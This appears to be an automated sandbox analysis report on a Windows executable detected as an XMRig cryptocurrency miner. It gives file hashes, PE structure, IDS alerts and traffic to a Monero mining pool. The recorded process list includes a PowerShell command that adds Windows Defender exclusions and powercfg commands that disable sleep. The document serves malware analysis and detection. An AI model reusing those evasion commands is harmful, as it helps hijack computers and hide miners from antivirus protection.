File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zc1hjfea.jye.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zu50fbze.xjs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_aktedmoa.5fr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_bgihurcq.fal.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ftdzjgsn.pjs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pezwnvlx.tfu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pjdmbblu.g0d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_s0z14xyo.5qh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_wrs2x0mz.wd4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_y22y5i5n.3y0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\tkfgvduf.tmp

Download File

Process:	C:\Program Files\xjfgcnhmcvxy.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1993216
Entropy (8bit):	7.937291620882887
Encrypted:	false
SSDEEP:	49152:a0345NXqa1p8X7stbjkI8skQ0beZ5kxdxhngmN5lp32qIH+Du+9nL:a0o5NTrttEIj0aZ2xdxxgmzX3eUu+9
MD5:	16B93C72B9B6AE18C2A7B1C3330BF8BB
SHA1:	9B8478973757D18B6FC4D2873A82F4F8F7E6FED8
SHA-256:	84C56026C8C3177D0269B52883D4EEA3E6BEE3BDA03479E8FA39C739E6914B7D
SHA-512:	8C1669324D8B70A2911CC1833FCAD31A1394A068A328C0C03864DBF78034BD172E3DAC6685C9F37DA856993847349D6E0C6394C72C666C5ACB3025E254B70FA9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Windows\Temp\tkfgvduf.tmp, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......HJ...+..+..+..@..+..@..+..@..+..@..+.^^..+.^^..+.^^.n+.jD(..+..^..+..@..+..+....[._)..^....^..+..^..+..+B..+..^..+.Rich.+.........PE..d...`.Vc.........."......`........`. '....`....@.............................@............`..................................................4..H....0........{.,............7..$............................)..(...X..8...........................................UPX0......`.............................UPX1.....`....`..\..................@....rsrc........0.......`..............@......................................................................................................................................................................................................................................................................................................................4.00.UPX!.$..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	7.959331419868799
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	ahlntQUj2t.exe
File size:	2'137'088 bytes
MD5:	934e9a3e294fa41c527fbd6dc867ddec
SHA1:	57edab4c313a7b3bf083a0c3364195b0491e00ba
SHA256:	75a1567b2fdb22e1e074aed9cd5e759013ea59bf7b1ef8d7f32c524f32b680c9
SHA512:	3cf0955f0c17edb9f2dab98700f1a3d3d98e4a96da7a967eefc6d6151e37ad160bf6cf5549b6000ec3ea588b84e828c122005b8e3857e0297a763069746af4cc
SSDEEP:	49152:Z3LiNvWKaxZxeaOaUS15emjARtJGXVhwqbPcIt:ZbidWxeLEyyyGFhwqIY
TLSH:	4EA52306F3B263FDDA022E7D468F41E2A5DCA5900874E6110A0CD96FB736A9C6787F1D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...s.)g...............&...... ................@..............................!....... ...`... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x1400014e0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x67291373 [Mon Nov 4 18:33:23 2024 UTC]
TLS Callbacks:	0x40005a80, 0x1, 0x40004de0, 0x1, 0x40004db0, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	df9a7bc1c6c6cd97d04c3762fdde6719

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [002076A5h]
mov dword ptr [eax], 00000001h
call 00007F5D0086D9CFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00207685h]
mov dword ptr [eax], 00000000h
call 00007F5D0086D9AFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007F5D00877CCCh
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F5D0086DD19h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc ecx
push esi
inc ecx
push ebp
inc ecx
push esp
push ebp
push edi
push esi
push ebx
dec eax
sub esp, 00000260h
dec eax
mov edi, edx
dec esp
mov ebp, eax
dec ebp
mov esp, ecx
call 00007F5D00870326h
test al, al
je 00007F5D0086DD57h
dec eax
add esp, 00000260h
pop ebx
pop esi
pop edi
pop ebp
inc ecx
pop esp
inc ecx
pop ebp
inc ecx
pop esi
ret
nop dword ptr [eax]
dec esp
lea esi, dword ptr [esp+50h]
xor edx, edx
inc ecx
mov eax, 00000208h
dec esp
mov ecx, esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20c000	0x8f0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20f000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x209000	0x7d4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x210000	0x8c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2083c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x20c244	0x208	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa8b8	0xaa00	7352e90b424cdbc0a892ff84dc3d188f	False	0.5723805147058824	data	6.272405024332568	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xc000	0x1fba00	0x1fba00	18d15f6797f8dcc19fad4cfa46eb279e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x208000	0xe80	0x1000	4e3bda6bac306452f3447c4f62b65d4f	False	0.477783203125	data	5.413762050124876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x209000	0x7d4	0x800	6f1bbae6db677afac6f2fc795318291e	False	0.5029296875	data	4.522345011792639	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x20a000	0x6b0	0x800	6234b06253ac99b93d2312c274513500	False	0.2890625	data	3.7997482249396723	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x20b000	0xc38	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x20c000	0x8f0	0xa00	5677bd7067e4f65c30204bfbf7ef3a81	False	0.32421875	data	3.9759001835655066	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x20d000	0x68	0x200	0de94c9b7374227854a5f1cd38f8be68	False	0.076171875	data	0.3536398094223054	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x20e000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x20f000	0x388	0x400	353e2bbcbc6fc647889a5a5998aee1ef	False	0.451171875	data	5.01612475908362	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x210000	0x8c	0x200	944c5cb74a70ebbc47b74c30d389f31f	False	0.265625	data	1.669620791870289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x20f058	0x330	XML 1.0 document, ASCII text	English	United States	0.508578431372549

Imports

DLL

Import

KERNEL32.dll

CreateSemaphoreW, DeleteCriticalSection, EnterCriticalSection, GetLastError, GetModuleFileNameW, GetStartupInfoW, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, MultiByteToWideChar, ReleaseSemaphore, SetLastError, SetUnhandledExceptionFilter, Sleep, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, VirtualProtect, VirtualQuery, WaitForSingleObject

msvcrt.dll

__C_specific_handler, ___lc_codepage_func, ___mb_cur_max_func, __iob_func, __set_app_type, __setusermatherr, __wgetmainargs, __winitenv, _amsg_exit, _assert, _cexit, _commode, _errno, _fmode, _initterm, _onexit, _wcmdln, _wcsicmp, _wgetenv, abort, calloc, exit, fprintf, fputwc, free, fwprintf, fwrite, localeconv, malloc, memcpy, memset, realloc, signal, strerror, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp, wcsstr

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-04T19:39:35.160404+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.7	49782	TCP
2024-11-04T19:40:15.342501+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.7	49924	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 19:39:52.472114086 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:39:52.477202892 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:39:52.477264881 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:39:52.477547884 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:39:52.482523918 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:39:53.335546017 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:39:53.335692883 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:39:53.336184978 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:39:53.336628914 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:39:53.341604948 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:39:53.594301939 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:39:53.594527006 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:39:53.594701052 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:39:53.649846077 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:39:53.695029020 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:40:01.496063948 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:40:01.538829088 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:40:11.493923903 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:40:11.538845062 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:40:26.448575974 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:40:26.492130041 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:40:36.325937986 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:40:36.367085934 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:40:46.544358015 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:40:46.585935116 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:40:48.826544046 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:40:48.867130995 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:41:00.821130037 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:41:00.867532015 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:41:10.820322990 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:41:10.867234945 CET	49855	10343	192.168.2.7	54.37.232.103
Nov 4, 2024 19:41:20.887023926 CET	10343	49855	54.37.232.103	192.168.2.7
Nov 4, 2024 19:41:20.929678917 CET	49855	10343	192.168.2.7	54.37.232.103

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 19:39:13.025748014 CET	60481	53	192.168.2.7	1.1.1.1
Nov 4, 2024 19:39:52.461918116 CET	57447	53	192.168.2.7	1.1.1.1
Nov 4, 2024 19:39:52.469952106 CET	53	57447	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 4, 2024 19:39:13.025748014 CET	192.168.2.7	1.1.1.1	0x9749	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.461918116 CET	192.168.2.7	1.1.1.1	0xc9a2	Standard query (0)	xmr-eu1.nanopool.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 4, 2024 19:39:13.033838034 CET	1.1.1.1	192.168.2.7	0x9749	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 4, 2024 19:39:14.472361088 CET	1.1.1.1	192.168.2.7	0x5afb	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 4, 2024 19:39:14.472361088 CET	1.1.1.1	192.168.2.7	0x5afb	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		54.37.232.103	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		212.47.253.124	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		51.89.23.91	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		162.19.224.121	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		51.15.193.130	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		51.15.65.182	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		51.15.58.224	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		54.37.137.114	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		163.172.154.142	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		146.59.154.106	A (IP address)	IN (0x0001)	false
Nov 4, 2024 19:39:52.469952106 CET	1.1.1.1	192.168.2.7	0xc9a2	No error (0)	xmr-eu1.nanopool.org		141.94.23.83	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	13:39:16
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\ahlntQUj2t.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\ahlntQUj2t.exe"
Imagebase:	0x7ff624ac0000
File size:	2'137'088 bytes
MD5 hash:	934E9A3E294FA41C527FBD6DC867DDEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:39:16
Start date:	04/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:39:16
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:39:20
Start date:	04/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff79b6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:39:20
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
